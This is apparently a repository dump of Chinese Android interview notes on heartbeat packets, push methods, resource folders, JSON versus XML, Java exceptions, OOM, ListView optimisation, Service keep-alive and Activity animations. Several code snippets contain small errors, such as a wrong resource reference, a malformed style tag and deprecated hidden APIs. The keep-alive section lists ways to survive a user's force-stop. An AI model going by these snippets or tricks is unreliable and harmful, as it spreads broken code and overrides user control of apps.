所谓的心跳包就是客户端定时放送简单的信息给服务器端，告诉它我还在而已。代码就是每隔几分钟发送一个固定信息给服务器端，服务器端回复一个固定信息。如果服务器端几分钟后没有收到客户端信息则视客户端断开。比如有些通信软件长时间不适用，要想知道它的状态是在线还是离线，就需要心跳包，定时发包收包。　\n　　　\n   　心跳包之所以叫心跳包是因为：它像心跳一样每隔固定时间发一次，以此来告诉服务器，这个客户端还活在。事实上这是为了保持长连接，至于这个包的内容，是没有什么特别规定的，不过一般都是很小的包，或者只包含包头的一个空包。\n     在TCP机制里面，本身是存在有心跳包机制的，也就是TCP选项:SO_KEEPALIVE. 系统默认是设置的2小时的心跳频率。\n\n　　心跳包的机制，其实就是传统的长连接。或许有的人知道消息推送的机制，消息推送也是一种长连接 ，是将数据有服务器端推送到客户端这边从而改变传统的“拉”的请求方式。下面我来介绍一下安卓和客户端两个数据请求的方式\n       1、push  这个也就是有服务器推送到客户端这边  现在有第三方技术 比如极光推送。\n       2、pull   这种方式就是客户端向服务器发送请求数据（http请求）\n\n实现轮询　\n\n  ● 原理 　\n  \n　　其原理在于在android端的程序中，让一个SERVICE一直跑在后台，在规定时间之内调用服务器接口进行数据获取。这里的原理很简单，当然实现起来也不难；然后，这个类之中肯定要做网络了数据请求，所以我们在Service中建立一个线程（因为在android系统中网络请求属于长时间操作，不能放主线程，不然会导致异常），在线程中和服务器进行通信。\n\n　　最后，这个逻辑写完后，我们需要考虑一个问题，如何进行在规定时间内调用该服务器，当然可以用Thread+Handler(这个不是那么稳定),也可以使用AlamManager+Thread（比较稳定），因为我们需要其在后台一直运行，所以可以依靠系统的Alammanager这个类来实现，Alammanager是属于系统的一个闹钟提醒类，通过它我们能实现在规定间隔时间调用，并且也比较稳定，这个service被杀后会自己自动启动服务。\n\n\n\n> 心跳机制是定时发送一个自定义的结构体(心跳包)，让对方知道自己还活着，以确保连接的有效性的机制。\n\nandroid系统的推送和iOS的推送有什么区别：\n\n  　　 首先我们必须知道，所有的推送功能必须有一个客户端和服务器的长连接，因为推送是由服务器主动向客户端发送消息，如果客户端和服务器之间不存在一个长连接那么服务器是无法来主动连接客户端的。因而推送功能都是基于长连接的基础是上的。\n  　　 \n   　　IOS长连接是由系统来维护的，也就是说苹果的IOS系统在系统级别维护了一个客户端和苹果服务器的长链接，IOS上的所有应用上的推送都是先将消息推送到苹果的服务器然后将苹果服务器通过这个系统级别的长链接推送到手机终端上，这样的的几个好处为：\n \n 1.在手机终端始终只要维护一个长连接即可，而且由于这个长链接是系统级别的不会出现被杀死而无法推送的情况。　　\n \n 2.省电，不会出现每个应用都各自维护一个自己的长连接。　\n\n3.安全，只有在苹果注册的开发者才能够进行推送，等等。　\n\n   　android的长连接是由每个应用各自维护的，但是google也推出了和苹果技术架构相似的推送框架，C2DM,云端推送功能，但是由于google的服务器不在中国境内，其他的原因你懂的。所以导致这个推送无法使用，android的开发者不得不自己去维护一个长链接，于是每个应用如果都24小时在线，那么都得各自维护一个长连接，这种电量和流量的消耗是可想而知的。虽然国内也出现了各种推送平台，但是都无法达到只维护一个长连接这种消耗的级别。　\n   　\n推送的实现方式：\n一：客户端不断的查询服务器，检索新内容，也就是所谓的pull 或者轮询方式　\n\n二：客户端和服务器之间维持一个TCP/IP长连接，服务器向客户端push　\n\n三：服务器有新内容时，发送一条类似短信的信令给客户端，客户端收到后从服务器中下载新内容，也就是SMS的推送方式　\n\n　　苹果的推送系统和googleC2DM推送系统其实都是在系统级别维护一个TCP/IP长连接，都是基于第二种的方式进行推送的。第三种方式由于运营商没有免费开放这种信令导致了这种推送在成本上是无法接受的，虽然这种推送的方式非常的稳定，高效和及时。\n如果想了解android中各种推送方式请参考这个链接：Android实现推送方式解决方案 这篇博客已经介绍的非常好了。\n\n　　　所谓的心跳包就是客户端定时放送简单的信息给服务器端，告诉它我还在而已。代码就是每隔几分钟发送一个固定信息给服务器端，服务器端回复一个固定信息。如果服务器端几分钟后没有收到客户端信息则视客户端断开。比如有些通信软件长时间不适用，要想知道它的状态是在线还是离线，就需要心跳包，定时发包收包。　\n　　　\n   　心跳包之所以叫心跳包是因为：它像心跳一样每隔固定时间发一次，以此来告诉服务器，这个客户端还活在。事实上这是为了保持长连接，至于这个包的内容，是没有什么特别规定的，不过一般都是很小的包，或者只包含包头的一个空包。\n     在TCP机制里面，本身是存在有心跳包机制的，也就是TCP选项:SO_KEEPALIVE. 系统默认是设置的2小时的心跳频率。\n\n　　心跳包的机制，其实就是传统的长连接。或许有的人知道消息推送的机制，消息推送也是一种长连接 ，是将数据有服务器端推送到客户端这边从而改变传统的“拉”的请求方式。下面我来介绍一下安卓和客户端两个数据请求的方式\n       1、push  这个也就是有服务器推送到客户端这边  现在有第三方技术 比如极光推送。\n       2、pull   这种方式就是客户端向服务器发送请求数据（http请求）\n\n实现轮询　\n\n  ● 原理 　\n  \n　　其原理在于在android端的程序中，让一个SERVICE一直跑在后台，在规定时间之内调用服务器接口进行数据获取。这里的原理很简单，当然实现起来也不难；然后，这个类之中肯定要做网络了数据请求，所以我们在Service中建立一个线程（因为在android系统中网络请求属于长时间操作，不能放主线程，不然会导致异常），在线程中和服务器进行通信。\n\n　　最后，这个逻辑写完后，我们需要考虑一个问题，如何进行在规定时间内调用该服务器，当然可以用Thread+Handler(这个不是那么稳定),也可以使用AlamManager+Thread（比较稳定），因为我们需要其在后台一直运行，所以可以依靠系统的Alammanager这个类来实现，Alammanager是属于系统的一个闹钟提醒类，通过它我们能实现在规定间隔时间调用，并且也比较稳定，这个service被杀后会自己自动启动服务。\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android面试相关/Asset目录与res目录的区别.md",
    "content": " - res/raw和assets的相同点：　\n\n　　两者目录下的文件在打包后会原封不动的保存在apk包中，不会被编译成二进制。\n\n - res/raw和assets的不同点：\n \n　　res/raw中的文件会被映射到R.java文件中，访问的时候直接使用资源ID即R.id.filename；assets文件夹下的文件不会被映射到R.java中，访问的时候需要AssetManager类。　\n\n　　res/raw不可以有目录结构，而assets则可以有目录结构，也就是assets目录下可以再建立文件夹　\n\n读取文件资源：　\n\n　　读取res/raw下的文件资源，通过以下方式获取输入流来进行写操作.\n\n```\n InputStream is =getResources().openRawResource(R.id.filename);  \n```\n\n　　读取assets下的文件资源，通过以下方式获取输入流来进行写操作\n\t\n\n```\n/**  \n\t * 从assets中读取图片  \n\t */  \n\tprivate Bitmap getImageFromAssetsFile(String fileName)  \n\t  {  \n\t      Bitmap image = null;  \n\t      AssetManager am = getResources().getAssets();  \n\t      try  \n\t      {  \n\t          InputStream is = am.open(fileName);  \n\t          image = BitmapFactory.decodeStream(is);  \n\t          is.close();  \n\t      }  \n\t      catch (IOException e)  \n\t      {  \n\t          e.printStackTrace();  \n\t      }   \n\t      return image;  \n\t  }  \n```\n\n注意1：Google的Android系统处理Assert有个bug，在AssertManager中不能处理单个超过1MB的文件，不然会报异常，raw没这个限制可以放个4MB的Mp3文件没问题。　\n\n注意2：assets 文件夹是存放不进行编译加工的原生文件，即该文件夹里面的文件不会像 xml， java 文件被预编译，可以存放一些图片，html，js, css 等文件。\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android面试相关/JSON的定义.md",
    "content": "**JSON的定义**\n\n   　　一种轻量级的数据交换格式，具有良好的可读和便于快速编写的特性。业内主流技术为其提供了完整的解决方案（有点类似于正则表达式 ，获得了当今大部分语言的支持），从而可以在不同平台间进行数据交换。JSON采用兼容性很高的文本格式，同时也具备类似于C语言体系的行为。\n \n**XML的定义**　\n\n  　　 扩展标记语言 (Extensible Markup Language, XML) ，用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。 XML是标准通用标记语言 (SGML) 的子集，非常适合 Web 传输。XML 提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。\n \n**JSON 和 XML 优缺点的比较**　\n\n1.在可读性方面，JSON和XML的数据可读性基本相同。JSON和XML的可读性可谓不相上下，一边是建议的语法，一边是规范的标签形式，很难分出胜负。　\n\n2.在可扩展性方面，XML天生有很好的扩展性，JSON当然也有，没有什么是XML能扩展，JSON不能的。　\n\n3.在编码难度方面，XML有丰富的编码工具，比如Dom4j、JDom等，JSON也有json.org提供的工具，但是JSON的编码明显比XML容易许多，即使不借助工具也能写出JSON的代码，可是要写好XML就不太容易了。　\n\n4.在解码难度方面，XML的解析得考虑子节点父节点，让人头昏眼花，而JSON的解析难度几乎为0。这一点XML输的真是没话说。　\n\n5.在流行度方面，XML已经被业界广泛的使用，而JSON才刚刚开始，但是在Ajax这个特定的领域，未来的发展一定是XML让位于JSON。到时Ajax应该变成Ajaj(Asynchronous JavaScript and JSON)了。　\n\n6.JSON和XML同样拥有丰富的解析手段。　\n\n7.JSON相对于XML来讲，数据的体积小。\n\n8.JSON与JavaScript的交互更加方便。\n\n9.JSON对数据的描述性比XML较差。\n\n10.JSON的速度要远远快于XML。\n"
  },
  {
    "path": "docs/android/AndroidNote/Android面试相关/Java中Error和Exception.md",
    "content": "# Java中Error和Exception\n\nJava 异常类继承关系图：\n\n![](http://img.blog.csdn.net/20160412143252629)\n\n \n（一）Throwable\n\n　　Throwable 类是 Java 语言中所有错误或异常的超类。只有当对象是此类或其子类之一的实例时，才能通过 Java 虚拟机或者 Java throw 语句抛出，才可以是 catch 子句中的参数类型。\n　　Throwable 类及其子类有两个构造方法，一个不带参数，另一个带有 String 参数，此参数可用于生成详细消息。\n　　Throwable 包含了其线程创建时线程执行堆栈的快照。它还包含了给出有关错误更多信息的消息字符串。\n　　\nJava将可抛出(Throwable)的结构分为三种类型：\n　　1. 错误(Error)\n　　2. 运行时异常(RuntimeException)\n　　3. 被检查的异常(Checked Exception)\n\n　１.**Error** \n　　Error 是 Throwable 的子类，用于指示合理的应用程序不应该试图捕获的严重问题。大多数这样的错误都是异常条件。\n　　和RuntimeException一样， 编译器也不会检查Error。\n　　当资源不足、约束失败、或是其它程序无法继续运行的条件发生时，就产生错误，程序本身无法修复这些错误的。\n　　\n　２.**Exception** \n　　Exception 类及其子类是 Throwable 的一种形式，它指出了合理的应用程序想要捕获的条件。\n　　 对于可以恢复的条件使用**被检查异常**（Exception的子类中除了RuntimeException之外的其它子类），对于程序错误使用运行时异常。　\n　　 \n2.1　ClassNotFoundException\n　　\n当应用程序试图使用以下方法通过字符串名加载类时：\nClass 类中的 forName 方法。\nClassLoader 类中的 findSystemClass 方法。\nClassLoader 类中的 loadClass 方法。\n但是没有找到具有指定名称的类的定义，抛出该异常。\n\n2.2　CloneNotSupportedException\n\t\n当调用 Object 类中的 clone 方法复制对象，但该对象的类无法实现 Cloneable 接口时，抛出该异常。重写 clone 方法的应用程序也可能抛出此异常，指示不能或不应复制一个对象。\n　\n\n2.3　IOException\n当发生某种 I/O 异常时，抛出此异常。此类是失败或中断的 I/O 操作生成的异常的通用类。\n\n- EOFException\n    \n    当输入过程中意外到达文件或流的末尾时，抛出此异常。\n此异常主要被**数据输入流**用来表明到达流的末尾。\n注意：其他许多输入操作返回一个特殊值表示到达流的末尾，而不是抛出异常。\n　　　　\n- FileNotFoundException\n    \n    当试图打开指定路径名表示的文件失败时，抛出此异常。在不存在具有指定路径名的文件时，此异常将由 FileInputStream、FileOutputStream 和 RandomAccessFile 构造方法抛出。如果该文件存在，但是由于某些原因不可访问，比如试图打开一个只读文件进行写入，则此时这些构造方法仍然会抛出该异常。\n\n- MalformedURLException\n    \n    抛出这一异常指示出现了错误的 URL。或者在规范字符串中找不到任何合法协议，或者无法解析字符串。　\n　\n－UnknownHostException\n　　指示主机 IP 地址无法确定而抛出的异常。\n\n2.4　RuntimeException\n　　 是那些可能在 Java 虚拟机正常运行期间抛出的异常的超类。可能在执行方法期间抛出但未被捕获的 RuntimeException 的任何子类都无需在 throws 子句中进行声明。\n　　 Java编译器不会检查它。当程序中可能出现这类异常时，还是会编译通过。\n　　 虽然Java编译器不会检查运行时异常，但是我们也可以通过throws进行声明抛出，也可以通过try-catch对它进行捕获处理。\n\n- ArithmeticException\n\t\n\t当出现异常的运算条件时，抛出此异常。例如，一个整数“除以零”时，抛出此类的一个实例。\n\n- ClassCastException\n    \n    当试图将对象强制转换为不是实例的子类时，抛出该异常。\n例如：Object x = new Integer(0);\n\n- LllegalArgumentException\n    \n    抛出的异常表明向方法传递了一个不合法或不正确的参数。\n\n- IllegalStateException\n    \n    在非法或不适当的时间调用方法时产生的信号。换句话说，即 Java 环境或 Java 应用程序没有处于请求操作所要求的适当状态下。\n\n- IndexOutOfBoundsException　\n    \n    指示某排序索引（例如对数组、字符串或向量的排序）超出范围时抛出。\n应用程序可以为这个类创建子类，以指示类似的异常。\n\n- NoSuchElementException\n    \n    由 Enumeration 的 nextElement 方法抛出，表明枚举中没有更多的元素。\n\n- NullPointerException\n    \n    当应用程序试图在需要对象的地方使用 null 时，抛出该异常。这种情况包括：\n调用 null 对象的实例方法。\n访问或修改 null 对象的字段。\n将 null 作为一个数组，获得其长度。\n将 null 作为一个数组，访问或修改其时间片。\n将 null 作为 Throwable 值抛出。\n应用程序应该抛出该类的实例，指示其他对 null 对象的非法使用。\n\n\n\n（二） SOF （堆栈溢出 StackOverflow）\t\n\n> StackOverflowError 的定义： \n> 当应用程序递归太深而发生堆栈溢出时，抛出该错误。\n> \n因为栈一般默认为1-2m，一旦出现死循环或者是大量的递归调用，在不断的压栈过程中，造成栈容量超过1m而导致溢出。 \n\n栈溢出的原因：\n\n1. 递归调用\n\n2. 大量循环或死循环\n\n3. 全局变量是否过多\n\n4. 数组、List、map数据过大\n\t\n\n\n（三）Android的ＯＯＭ（Out Of Memory）\n\n　　当内存占有量超过了虚拟机的分配的最大值时就会产生内存溢出（VM里面分配不出更多的page）。\n　　\n一般出现情况：加载的图片太多或图片过大时、分配特大的数组、内存相应资源过多没有来不及释放。\n\n解决方法：\n\n①在内存引用上做处理\n\n  软引用是主要用于内存敏感的高速缓存。在jvm报告内存不足之前会清除所有的软引用，这样以来gc就有可能收集软可及的对象，可能解决内存吃紧问题，避免内存溢出。什么时候会被收集取决于gc的算法和gc运行时可用内存的大小。\n\n②对图片做边界压缩，配合软引用使用\n   　\n③显示的调用GC来回收内存　\n   　\n\n```\nif(bitmapObject.isRecycled()==false) //如果没有回收   \n         bitmapObject.recycle();  \n```\n　\n④优化Dalvik虚拟机的堆内存分配\n　　\n1.增强程序堆内存的处理效率\n\t　　\n\n```\n//在程序onCreate时就可以调用 即可 \nprivate final static floatTARGET_HEAP_UTILIZATION = 0.75f;  \n\nVMRuntime.getRuntime().setTargetHeapUtilization(TARGET_HEAP_UTILIZATION); \n```\n\n2.设置缓存大小\n\n```\nprivate final static int CWJ_HEAP_SIZE = 6* 1024* 1024 ; \n //设置最小heap内存为6MB大小 \nVMRuntime.getRuntime().setMinimumHeapSize(CWJ_HEAP_SIZE); \n```\n\n⑤ 用LruCache 和  AsyncTask<>解决\n\n　　从cache中去取Bitmap，如果取到Bitmap，就直接把这个Bitmap设置到ImageView上面。\n　　如果缓存中不存在，那么启动一个task去加载（可能从文件来，也可能从网络）。\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android面试相关/ListView性能优化.md",
    "content": "\n**ListView性能优化**\n\n　　重用了convertView，很大程度上的减少了内存的消耗。通过判断convertView是否为null，是的话就需要产生一个视图出来，然后给这个视图数据，最后将这个视图返回给底层，呈献给用户。 \n\n　　　每次在getVIew的时候，都需要重新的findViewById，重新找到控件，然后进行控件的赋值以及事件相应设置。这样其实在做重复的事情，因为的geiview中，其实包含有这些控件，而且这些控件的id还都是一样的，也就是其实只要在view中findViewById一次，后面无需要每次都要findViewById了。 \n\n　　通过线程来异步加载图片，把Http的相关操作放在线程里,最好使用线程池来控制线程数。返回的bitmap通过Handler来更新每个Item布局上的ImageView（就是赋上图片）。\n\n　　当遇到大图片的话，可以对图片处理一下再使用，比如压缩，压缩到480*800。网上有很多关于图片压缩的资料。\n"
  },
  {
    "path": "docs/android/AndroidNote/Android面试相关/Service保活.md",
    "content": "# Service保活\n\n一、onStartCommand方法，返回START_STICKY\n\n　　在运行onStartCommand后service进程被kill后，那将保留在开始状态，但是不保留那些传入的intent。不久后service就会再次尝试重新创建，因为保留在开始状态，在创建     service后将保证调用onstartCommand。如果没有传递任何开始命令给service，那将获取到null的intent。\n\n　　　【结论】 手动返回START_STICKY，亲测当service因内存不足被kill，当内存又有的时候，service又被重新创建，比较不错，但是不能保证任何情况下都被重建，比如进程被干掉了....　\n\n二、提升service优先级\n\n　　在AndroidManifest.xml文件中对于intent-filter可以通过android:priority = \"1000\"这个属性设置最高优先级，1000是最高值，如果数字越小则优先级越低，同时适用于广播。\n\n三、提升service进程优先级\n\n　　Android中的进程是托管的，当系统进程空间紧张的时候，会依照优先级自动进行进程的回收。Android将进程分为6个等级,它们按优先级顺序由高到低依次是:\n   1. 前台进程(FOREGROUND_APP)\n   \n   2. 可视进程(VISIBLE_APP )\n   \n   3. 次要服务进程(SECONDARY_SERVER )\n   \n   4. 后台进程 (HIDDEN_APP)\n   \n   5. 内容供应节点(CONTENT_PROVIDER)\n   \n   6. 空进程(EMPTY_APP)\n   \n当service运行在低内存的环境时，将会kill掉一些存在的进程。因此进程的优先级将会很重要，可以使用startForeground 将service放到前台状态。这样在低内存时被kill的几率会低一些。\n\n在onStartCommand方法内添加如下代码：\n\n\t\t \n\n```\nNotification notification = new Notification(R.drawable.ic_launcher,\n\t\t getString(R.string.app_name), System.currentTimeMillis());\n\t\t\n\t\t PendingIntent pendingintent = PendingIntent.getActivity(this, 0,\n\t\t new Intent(this, AppMain.class), 0);\n\t\t notification.setLatestEventInfo(this, \"uploadservice\", \"请保持程序在后台运行\",\n\t\t pendingintent);\n\t\t startForeground(0x111, notification);\n```\n\n注意在onDestroy里还需要stopForeground(true)，运行时在下拉列表会看到自己的APP在：\n【结论】如果在极度极度低内存的压力下，该service还是会被kill掉，并且不一定会restart\n\n四、onDestroy方法里重启service\n\n　　直接在onDestroy（）里startService或service +broadcast  方式，就是当service走ondestory的时候，发送一个自定义的广播，当收到广播的时候，重新启动service；\n\n【结论】当使用类似口口管家等第三方应用或是在setting里-应用-强制停止时，APP进程可能就直接被干掉了，onDestroy方法都进不来，所以还是无法保证~.~\n\n五、监听系统广播判断Service状态\n\n　　通过系统的一些广播，比如：手机重启、界面唤醒、应用状态改变等等监听并捕获到，然后判断我们的Service是否还存活，别忘记加权限啊。\n\n六、将APK安装到/system/app，变身系统级应用\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android面试相关/如何实现Activity切换的动画.md",
    "content": " **android中设置activity切换动画有 两种实现方式**\n \n 1 . 在 AndroidManifest.xml 文件activity标签中，通过设置 android:theme 主题属性来自定义我们 Activity的切换动画( 主题可以定义很多属性，动画只是其中之一)。\n \n\n```\n<activity\n    android:name=\"whateverNameActivity\"\n    android:theme=\"@style/myActivityTheme\" >\n</activity>\n```\n\n首先要定义自己的主题，打开res/values/styles.xml文件，加入\n\n```\n<style name=\"myActivityTheme\">\n  <itemname=\"android:windowAnimationStyle\">@style/myAnimTheme />\n</style>\n```\n然后继续定义具体切换动画样式，分为4种需要动画的情况。\n\n打开新界面时 ：\n\t\t\t\t\t\n\n - 新界面出现（android:activityOpenEnterAnimation）\n - 当前界面消失（android:activityOpenExitAnimation）\n\n返回上一界面时：\n\n - 当前界面消失（android:activityCloseExitAnimation）\n - 上一界面出现（android:activityCloseEnterAnimation）\n\n> a、b、c、d为自定义在res/anim下的具体动画效果文件（下面贴出）\n\n```\n<style name=\"myAnimTheme \" parent=\"@android:style/Animation.Activity\">\n    <item name=\"android:activityOpenEnterAnimation\">@anim/a />\n    <item name=\"android:activityOpenExitAnimation\">@anim/b />\n    <item name=\"android:activityCloseEnterAnimation\">@anim/c />\n    <item name=\"android:activityCloseExitAnimation\">@anim/d />\n</style>\n```\n\n2 . 在Android的2.0版本之后，加入了overridePendingTransition（）这个函数来帮我们实现activity切换动画，它**在startActivity()或者finish()函数之后调用**\n\n![这里写图片描述](http://img.blog.csdn.net/20160408111715900)\n\n它有两个参数，\nenterAnim是下一界面进入效果的xml文件的id, \nexitAnim是当前界面退出效果的xml文件id。\n\n> 我们可以看出它也实现了第一种方式的四种动画情况。\n\n注意： \n\n - 当我们不想要动画时，设置为 0 即可。\n - 我们可以看出这个方法是定义在android.app.Activity下的，如果我们用自定义的view或fragment等嵌入到Activity中，调用这个函数时很可能不起作用。一般改写为this.getParent().overridePendingTransition 就可以解决。\n\n3 .上 res/anim 下的各种动画文件\n\nzoomin.xml: \n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<set xmlns:android=\"http://schemas.android.com/apk/res/android\" \nandroid:interpolator=\"@android:anim/decelerate_interpolator\"> \n\n<scale android:fromXScale=\"0.1\" \nandroid:toXScale=\"1.0\" \nandroid:fromYScale=\"0.1\" \nandroid:toYScale=\"1.0\" \nandroid:pivotX=\"50%p\" \nandroid:pivotY=\"50%p\" \nandroid:duration=\"300\" /> \n\n<alpha \nandroid:fromAlpha=\"0.1\" \nandroid:toAlpha=\"1.0\" \nandroid:duration=\"300\" /> \n</set> \n```\nzoomout.xml \n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<set xmlns:android=\"http://schemas.android.com/apk/res/android\" \nandroid:interpolator=\"@android:anim/decelerate_interpolator\" \nandroid:zAdjustment=\"top\"> \n\n<scale android:fromXScale=\"1.0\" \nandroid:toXScale=\".5\" \nandroid:fromYScale=\"1.0\" \nandroid:toYScale=\".5\" \nandroid:pivotX=\"50%p\" \nandroid:pivotY=\"50%p\" \nandroid:duration=\"300\" /> \n\n<alpha android:fromAlpha=\"1.0\" \nandroid:toAlpha=\"0\" \nandroid:duration=\"300\"/> \n</set> \n```\nout_from_right.xml\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<translate xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:duration=\"500\"\n    android:fromXDelta=\"0\"\n    android:fromYDelta=\"0\"\n    android:toXDelta=\"100%p\"\n    android:toYDelta=\"0\" >\n\n</translate>\n```\n\nin_from_left.xml\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<translate xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:duration=\"500\"\n    android:fromXDelta=\"-100%p\"\n    android:fromYDelta=\"0\"\n    android:toXDelta=\"0\"\n    android:toYDelta=\"0\" >\n\n</translate>\n```\nout_from_left.xml\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<translate xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:duration=\"500\"\n    android:fromXDelta=\"0\"\n    android:fromYDelta=\"0\"\n    android:toXDelta=\"-100%p\"\n    android:toYDelta=\"0\" >\n\n</translate>\n```\n\nin_from_right.xml\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<translate xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:duration=\"500\"\n    android:fromXDelta=\"100%p\"\n    android:fromYDelta=\"0\"\n    android:toXDelta=\"0\"\n    android:toYDelta=\"0\" >\n\n</translate>\n```\nfade.xml\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<alpha xmlns:android=\"http://schemas.android.com/apk/res/android\"\n       android:interpolator=\"@android:anim/accelerate_interpolator\"\n       android:fromAlpha=\"0.0\" android:toAlpha=\"1.0\"\n       android:duration=\"2000\" />\n\n```\n\nhold.xml\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<translate xmlns:android=\"http://schemas.android.com/apk/res/android\"\n       android:interpolator=\"@android:anim/accelerate_interpolator\"\n       android:fromXDelta=\"0\" android:toXDelta=\"0\"\n       android:duration=\"2000\" />\n\n```\nhyperspace_in.xml\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<alpha xmlns:android=\"http://schemas.android.com/apk/res/android\" \nandroid:fromAlpha=\"0.0\" \nandroid:toAlpha=\"1.0\" \nandroid:duration=\"2000\" \nandroid:startOffset=\"1200\" />\n\n```\n\nhyperspace_out.xml\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n\n<set xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\tandroid:shareInterpolator=\"false\">\n\t<scale android:interpolator=\"@android:anim/accelerate_decelerate_interpolator\"\n\t\tandroid:fromXScale=\"1.0\" \n\t\tandroid:fromYScale=\"1.0\"\n\t\tandroid:toYScale=\"0.6\" \n\t\tandroid:pivotX=\"50%\" \n\t\tandroid:pivotY=\"50%\"\n        android:duration=\"2000\" />\n        \n\t<set android:interpolator=\"@android:anim/accelerate_interpolator\"\n\t\tandroid:startOffset=\"700\">\n\t\t<scale android:fromXScale=\"1.4\"\n\t\t android:toXScale=\"0.0\"\n\t\tandroid:toYScale=\"0.0\"\n\t\tandroid:pivotX=\"50%\"\n\t\tandroid:pivotY=\"50%\" \n\t\tandroid:duration=\"2000\" />\n\t\t<rotate android:fromDegrees=\"0\" \n\t\tandroid:toDegrees=\"-45\"\n\t\tandroid:pivotX=\"50%\" \n\t\tandroid:pivotY=\"50%\"\n\t\tandroid:duration=\"2000\" />\n\t</set>\n</set>\n\n\n``` \nalpha_action.xml\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<set xmlns:android=\"http://schemas.android.com/apk/res/android\" >\n<alpha android:fromAlpha=\"1.0\" \nandroid:toAlpha=\"0\" \nandroid:duration=\"2000\"/> \n<!-- 透明度控制动画效果 alpha\n        0.0表示完全透明\n        1.0表示完全不透明\n        以上值取0.0-1.0之间的float数据类型的数字\n        \n        \n-->\n</set>\n``` \nscale_action.xml\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<set xmlns:android=\"http://schemas.android.com/apk/res/android\">\n\t<scale android:interpolator=\"@android:anim/accelerate_decelerate_interpolator\"\n\t\tandroid:fromXScale=\"0.0\" \n\t\tandroid:toXScale=\"1.4\" \n\t\tandroid:fromYScale=\"0.0\"\n\t\tandroid:toYScale=\"1.4\" \n\t\tandroid:pivotX=\"50%\" \n\t\tandroid:pivotY=\"50%\"\n\t\tandroid:fillAfter=\"false\" \n\t\tandroid:duration=\"2000\" />\n</set>\n``` \n\nscale_rotate.xml\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!-- android:duration=\"@android:integer/config_mediumAnimTime\" -->\n<set xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\tandroid:shareInterpolator=\"false\">\n\t<scale android:interpolator=\"@android:res/anim/accelerate_decelerate_interpolator\"\n\t\tandroid:fromXScale=\"0.0\" \n\t\tandroid:toXScale=\"1.0\" \n\t\tandroid:fromYScale=\"0.0\"\n\t\tandroid:toYScale=\"1.0\" \n\t\tandroid:pivotX=\"50%\" \n\t\tandroid:pivotY=\"50%\"\n\t\tandroid:duration=\"2000\" \n\t\tandroid:repeatCount=\"0\" \n\t\tandroid:startOffset=\"20\"></scale>\n\t\t\n\t<rotate android:interpolator=\"@android:anim/accelerate_decelerate_interpolator\"\n\t\tandroid:fromDegrees=\"0\" \n\t\tandroid:toDegrees=\"+355\" \n\t\tandroid:pivotX=\"50%\"\n\t\tandroid:pivotY=\"50%\" \n\t\tandroid:duration=\"2000\" />\n</set>\n\n``` \n\nscale_translate.xml\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!-- android:duration=\"@android:integer/config_mediumAnimTime\" -->\n<set xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\tandroid:shareInterpolator=\"false\">\n\t<scale android:interpolator=\"@android:res/anim/accelerate_decelerate_interpolator\"\n\t\tandroid:fromXScale=\"0.0\" \n\t\tandroid:toXScale=\"1.0\" \n\t\tandroid:fromYScale=\"0.0\"\n\t\tandroid:toYScale=\"1.0\" \n\t\tandroid:pivotX=\"0\" \n\t\tandroid:pivotY=\"0\"\n\t\tandroid:duration=\"2000\" \n\t\tandroid:repeatCount=\"0\" \n\t\tandroid:startOffset=\"0\"></scale>\n\t\t\n\t<translate android:fromXDelta=\"0\" \n\t\tandroid:toXDelta=\"0\"\n\t\tandroid:fromYDelta=\"0\" \n\t\tandroid:toYDelta=\"0\" \n\t\tandroid:duration=\"2000\" />\n</set>\n\n``` \nscale_translate_rotate.xml\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!-- android:duration=\"@android:integer/config_mediumAnimTime\" -->\n<set xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\tandroid:shareInterpolator=\"false\">\n\t<scale android:interpolator=\"@android:res/anim/accelerate_decelerate_interpolator\"\n\t\tandroid:fromXScale=\"0.0\" \n\t\tandroid:toXScale=\"1.0\" \n\t\tandroid:fromYScale=\"0.0\"\n\t\tandroid:toYScale=\"1.0\"\n\t\tandroid:pivotX=\"50%\" \n\t\tandroid:pivotY=\"50%\"\n\t\tandroid:duration=\"2000\"></scale>\n\t\t\n\t<translate android:interpolator=\"@android:anim/accelerate_decelerate_interpolator\"\n\t\tandroid:fromXDelta=\"120\"\n\t\tandroid:toXDelta=\"30\" \n\t\tandroid:fromYDelta=\"30\"\n\t\tandroid:toYDelta=\"250\" \n\t\tandroid:duration=\"2000\" />\n\t\t\n\t<rotate android:interpolator=\"@android:anim/accelerate_decelerate_interpolator\"\n\t\tandroid:fromDegrees=\"0\" \n\t\tandroid:toDegrees=\"+355\" \n\t\tandroid:pivotX=\"50%\"\n\t\tandroid:pivotY=\"50%\"\n\t\tandroid:duration=\"2000\" />\n</set>\n\n``` \n\nslide_down_out.xml\n\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<set 